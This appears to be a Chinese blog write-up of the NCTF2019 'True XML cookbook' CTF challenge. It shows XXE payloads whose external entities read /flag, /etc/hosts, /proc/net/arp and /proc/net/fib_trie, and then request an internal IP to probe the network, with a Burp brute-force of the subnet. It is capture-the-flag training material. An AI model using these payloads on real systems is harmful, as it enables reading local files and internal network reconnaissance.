首页 > 其他分享 >[NCTF2019]True XML cookbook

[NCTF2019]True XML cookbook

时间:2024-05-20 09:18:31浏览次数:15  
标签:XML 爆破 proc 地址 file net cookbook True

[NCTF2019]True XML cookbook

打开环境是之前一道题的登录框

qj_oeR6QE2UvS3mP_rzeR4hZRk-QDgZpbgge5Ld68AU

先按原来那道题的payload进行测试,payload和结果如下:

<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM  "file:///flag">
]>
<user>
	<username>&file;</username>
	<password>1</password>
</user>

la8cQNU9aRKIc6TPMiGCoPrFG-BUDedSftjKfInb3hU

未成功获取到flag信息,那就探测内网信息,读取下系统内的配置文件信息看是否能发现有用的信息,包含:/etc/hosts、/proc/net/arp、proc/net/fib_trie等,最终在proc/net/fib_trie发现一个新的ip:10.244.80.202,结果如下:

<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM  "file:////etc/hosts">
]>
<user>
	<username>&file;</username>
	<password>1</password>
</user>

J5H2iidSQUgjM10oETWcESix2SwSyoP4J0z05m5zcjs

在执行/proc/net/arp会出现两个新的地址,但是其中一个新的地址有时候有,有时候又没有,不知道为什么,看下面中间两张图,但是也对这两个地址按后面的爆破方式进行了爆破,但是未成功。

<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM  "file:////proc/net/arp">
]>
<user>
	<username>&file;</username>
	<password>1</password>
</user>

lpCTYWmiad8oeIE73E3Rl2hDEWvW1E11j49-tcH78uI

<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM  "file:////proc/net/fib_trie">
]>
<user>
	<username>&file;</username>
	<password>1</password>
</user>

dVFsCLCTp8hbC4RLWIkKvyB2HXVvMEJTxGVtxvZwJkQ

这里获得一个新的地址,尝试下进行连接结果如下:

<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM  "http://10.244.80.49/">
]>
<user>
	<username>&file;</username>
	<password>1</password>
</user>

p_Q-dmN8HE7xVzCV0sQkPTTaBQfw2u6QsOwaZxRAc6A

连接失败,那就查询下同网段内存在不存在其他地址,使用bp的爆破模块进行爆破,设置如下:

RzsWr3qNtwLbiszGRtFcVGv4FmnYd1jVv-329Pt9noY

pjPx_vZ9gU2ZurdJ1AjBIFl4Hpl8oxIzg6CRjBXI9B4

等待爆破结果,最终成功获得flag,爆破的结果可能会比较慢,需要等待下,最终结果如下:

xfMghQhihfHQwx7nk5DRoIny9VYqi53P52c0A2HbfUI

标签:XML,爆破,proc,地址,file,net,cookbook,True
From: https://www.cnblogs.com/fishjumpriver/p/18201201

相关文章

  • XML Schema 复杂元素类型详解:定义及示例解析
    在XMLSchema(XSD)中,复杂元素是指包含其他元素和/或属性的XML元素。复杂元素可以分为四种类型:空元素:仅包含其他元素和/或属性的元素。仅包含其他元素的元素:不包含文本内容,只包含其他子元素的元素。仅包含文本的元素:不包含其他子元素,只包含文本内容的元素。既包含其他元素......
  • 关于IDEA使用xml实现动态sql的问题
     如上图,我在mapper层编写了一个list方法用于实现动态sql。1.导入使用xml文件的mybatis依赖。 2.配置文件的修改.properties .yml mybatis.mapper-locations=classpath:mapper/*.xml:这个配置项指定了MyBatis映射器XML文件的位置。值classpath:mapper/*.xml......
  • qt的xml读取和使用
    将数据保存文件QByteArrayfileAsByteArray;QFilefile(filename);if(!file.open(QIODevice::WriteOnly)){qDebug()<<"文件未打开.";}file.write(fileAsByteArray);file.close();读取文件QByteArraybyteArray=file.readAll();使用xml分析文件QXmlStre......
  • OPCUA NodeSet XML 下载地址
    官网下载reference.opcfoundation.org/nodesets有各个模型的下载网址 2、GitHub GitHub-OPCFoundation/UA-Nodeset:UANodeset    完整的文件,文件名称——PLCModelbasedonIEC61131-3_1172761404.xml<?xmlversion="1.0"encoding="utf-8"?><!--......
  • qt的xml类型
    QXmlStreamReader::TokenTypetoken=reader.readNext();是Qt的XML流读取器类的一个常见用法。它的作用是:QXmlStreamReader从XML流中读取下一个token。QXmlStreamReader::TokenType是一个枚举类型,定义了XML流中可能出现的不同类型的token,包括:NoToken:表示没有读取......
  • 前后端分离,提供蜘蛛爬行最简单方案,创建sitemap xml
    2024年5月13日11:36:01现在很多项目是vuereactangular开发的,但是百度爬虫对这样的项目支持不好,很多时候回去采用一些服务器端渲染(SSR)和静态站点生成(SSG),当然有些框架支持ssr和ssg效果不好,还有些想不不破坏项目自身的提前下的方案呢?很多年前接手一个angularjs的项目,但是......
  • c++ true_type与false_type
    std::true_type和std::false_type实际上是类型别名是两个类型(类模板)注意区分true_type与false_type与true和false区别true_type,false_type代表类型true,false代表值nmsp1::FalseTypemyfunc1();//返回假这种含义nmsp1::TrueTypemyfunc2();//返回真这种含......
  • 【pytest】将测试用例内的数据回填给fixtrue 中
    【背景】每个测试用例生成对应的log文件,需要将测试脚本名称传给log对象,生成对于的log文件【分析】方法一:使用@pytest.mark.parametrize的 indirect=True ,参数1:执行对应的函数(fixtrue中的函数名称) 参数2:函数对应的参数  参考:Pytest系列(10)-fixture传参数reques......
  • 从XML配置角度理解Spring AOP
    本文分享自华为云社区《Spring高手之路18——从XML配置角度理解SpringAOP》,作者:砖业洋__。1.SpringAOP与动态代理1.1SpringAOP和动态代理的关系SpringAOP使用动态代理作为其主要机制来实现面向切面的编程。这种机制允许Spring在运行时动态地创建代理对象,这些代理对象包......
  • 使用nodejs创建返回xml的web server
    //ImportNode.jscoremodulei.ehttpconsthttp=require('http');constfs=require('fs').promises;consthost='localhost';constport=8000;constrssFileName="/news.rss";//Createwebserverconstserve......